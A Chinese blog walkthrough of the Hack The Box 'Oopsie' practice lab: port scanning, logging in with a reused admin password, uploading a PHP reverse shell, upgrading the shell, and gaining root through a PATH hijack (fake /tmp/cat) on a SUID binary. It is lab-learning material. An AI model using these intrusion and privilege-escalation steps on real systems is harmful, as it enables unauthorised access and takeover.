hack the box oopise靶场实战

一.前言

  本次的靶场实战是hack the box oopise,难度不是很大,首先还是要先进行连接,连接步骤可以参考我的上一篇博客hack the box archetype靶场-CSDN博客

二.扫描分析

输入以下代码

nmap -sV -F 10.129.58.142

-sV 代表扫描端口和开放的服务信息

-F 快速扫描,扫描常用的端口

可以看到靶场开放了22端口和80端口,以及所使用的中间件服务,输入这个ip到浏览器上

成功出现了一个网页,现在的步骤就是从网页开始突破

三.搜索漏洞

对于一个网页,常用的方法就是看有没有数据交互的点,以及网站结构页面,看了一下,并不存在数据交互的点,试一下搜索以下网站的页面结构,按F12查看一下网页的源代码,看有没有路径泄露。如果是在公网上的网站可以通过google语法很快的找到后台。

发现存在一个登录页面,输入地址到浏览器上。

遇到这样的没有验证码的后台,想到的第一中方法是暴力破解。先不要急着用字典去猜解密码,可以尝试用一下上一个靶机中获取到的密码M3g4c0rp123、MEGACORP_4dm1n!!账号可以尝试用一下 admin、administrator、root等这些高频使用账号。经过测试最终得到账号和密码分别为 admin和MEGACORP_4dm1n!!。登陆后会看到一个上传文件的页面,并且可以上传文件

四.反弹shell

将kali自带的shell文件复制到工作目录,并修改该文件里的IP地址为本机虚拟网卡的IP地址,并且记住端口号。要查看本机虚拟网卡的ip地址可以参考我的上一篇博客。

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/oopise

在本地新建一个监听端口

然后将刚刚自己写的文件上传到网站上,上传成功了

然后访问自己刚刚上传的文件http://10.129.58.142/uploads/php-reverse-shell.php,发现成功建立了反弹shell。

但是这个获取到的shell是一个非交互式的shell,所以我们需要升级一下该shell,当命令行向本地运行的一样出现了账号和目录则说明运行升级成功。执行一下命令:

SHELL=/bin/bash script -q /dev/null

SHELL是环境变量,它的值代表系统执行shell的文件位置。

script命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行script并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。

-q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。

/dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。

此时就可提取桌面上的flag了

五.提权

刚进去的时候,提示当前的yonghu是www-data用户,现在需要进行提权,到网站的目录下查找一下,看有没有数据库的配置文件,并在配置文件中发现了一个账号和密码

 

切换到robert用户

再次输入id查看自己在哪个组

查看是否能够提权,在用户组robert中没发现特殊的文件。在bugtrackert用户组中发现了一个比较特殊的文件。

find / -type f -group robert 2>/dev/null
find / -type f -group bugtrackert 2>/dev/null

切换到usr/bin目录下,查看下权限,发现该文件有s权限并且该文件所有者是root,s权限代表其他用户在执行该文件时会以该文件的所有者的身份执行。在这里也就是以root的权限执行该文件。

strings bugtracker
strings和cat的功能类似,但是strings可以查看二进制文件,如果用cat查看二进制文件会出现乱码。

可以看到该cat命令不是以绝对路径写入的。系统在执行该cat命令时,首先会在环境变量PATH指向的目录中去寻找cat,当第一次找到cat后马上停止寻,并执行该cat。我们可以在环境变量PATH的最前面添加一个目录,并在该目录中添加一个恶意cat文件。这样系统第一个找到的cat将会是自己伪造的cat,并且会以root的权限执行该恶意cat

export PATH=/tmp:$path        //在环境变量的第一个位置添加/tmp目录
echo "/bin/bash">/tmp/cat    //将/bin/bash写入cat,执行/bin/bash后会打开一个新的shell命令行
chmod +x /tmp/cat            //赋予cat执行的权限

然后执行bugtracker文件,根据文件提示随便输入一个ID,这里就以输入1为例。系统成功的以root权限执行了 /bin/bash了,在这个新的命令行中具有了root权限。 可以通过whoami 查看一下自己的权限,甚至可以通过 passwd来修改root的密码

现在可以通过more查看 /root/root.txt来获取flag了,注意现在不用能cat命令来读取文件了,cat只会让你打开一个新的shell而已。

  • 29
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值